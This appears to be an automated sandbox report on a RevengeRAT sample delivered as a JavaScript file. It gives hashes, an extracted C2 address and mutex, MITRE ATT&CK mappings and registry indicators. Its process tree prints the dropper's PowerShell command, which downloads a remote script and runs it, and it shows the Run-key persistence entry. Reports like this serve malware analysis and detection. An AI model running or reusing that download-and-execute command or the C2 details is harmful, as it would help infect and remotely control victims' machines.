revengerat | 65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4

General

Target

Plugin81139.js
Size

389KB
MD5

a0c2859596c5ce9790594ba975cb0eac
SHA1

3fcb95f0177d3ec86496f2388fb78b0b2d28820b
SHA256

65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4
SHA512

738072f15990c51584c71962043e3bea38dd3b758170815f5daddfceb8622f2eff13e9c8ec1dfcc4f9c150eb8065aa9a4ac38b80e712f037ad5c325de96cfb9e
SSDEEP

1536:UfffKffafffKffafffKffafffKffafffKffafffKfffffffffffffffffffffffz:XHuCM4

Score

10^/10

revengerat nyancatrevenge discovery execution persistence trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dxtifaxks/raw/upload/v1733864899/novojeitoasync_zhpjwy.txt

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

102.165.46.145:333

Mutex

pHXJvbCGPPiC

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	1540	powershell.exe

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/1540-18-0x000001C54C8B0000-0x000001C54C8F6000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\D = "C:\\ProgramData\\PDF\\1.bat"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1540	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1540 set thread context of 2064	1540	powershell.exe	98

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	csc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	csc.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1540	powershell.exe
1540	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1540	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1268 wrote to memory of 1540	1268	wscript.exe	83
PID 1268 wrote to memory of 1540	1268	wscript.exe	83
PID 1540 wrote to memory of 2064	1540	powershell.exe	98
PID 1540 wrote to memory of 2064	1540	powershell.exe	98
PID 1540 wrote to memory of 2064	1540	powershell.exe	98
PID 1540 wrote to memory of 2064	1540	powershell.exe	98
PID 1540 wrote to memory of 2064	1540	powershell.exe	98
PID 1540 wrote to memory of 2064	1540	powershell.exe	98
PID 1540 wrote to memory of 2064	1540	powershell.exe	98
PID 1540 wrote to memory of 2064	1540	powershell.exe	98

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Plugin81139.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ((New-Object System.Net.WebClient).DownloadString('https://res.cloudinary.com/dxtifaxks/raw/upload/v1733864899/novojeitoasync_zhpjwy.txt'))
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:2064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aanu1ban.v0h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1540-16-0x00007FFB5B760000-0x00007FFB5C221000-memory.dmp

Filesize
10.8MB

Download
memory/1540-1-0x000001C54C540000-0x000001C54C562000-memory.dmp

Filesize
136KB

Download
memory/1540-11-0x00007FFB5B760000-0x00007FFB5C221000-memory.dmp

Filesize
10.8MB

Download
memory/1540-12-0x00007FFB5B760000-0x00007FFB5C221000-memory.dmp

Filesize
10.8MB

Download
memory/1540-15-0x00007FFB5B763000-0x00007FFB5B765000-memory.dmp

Filesize
8KB

Download
memory/1540-0-0x00007FFB5B763000-0x00007FFB5B765000-memory.dmp

Filesize
8KB

Download
memory/1540-18-0x000001C54C8B0000-0x000001C54C8F6000-memory.dmp

Filesize
280KB

Download
memory/1540-19-0x00007FFB5B760000-0x00007FFB5C221000-memory.dmp

Filesize
10.8MB

Download
memory/1540-26-0x00007FFB5B760000-0x00007FFB5C221000-memory.dmp

Filesize
10.8MB

Download
memory/2064-20-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2064-21-0x0000000005BF0000-0x0000000006194000-memory.dmp

Filesize
5.6MB

Download
memory/2064-22-0x0000000006440000-0x00000000064DC000-memory.dmp

Filesize
624KB

Download
memory/2064-23-0x0000000006650000-0x00000000066B6000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads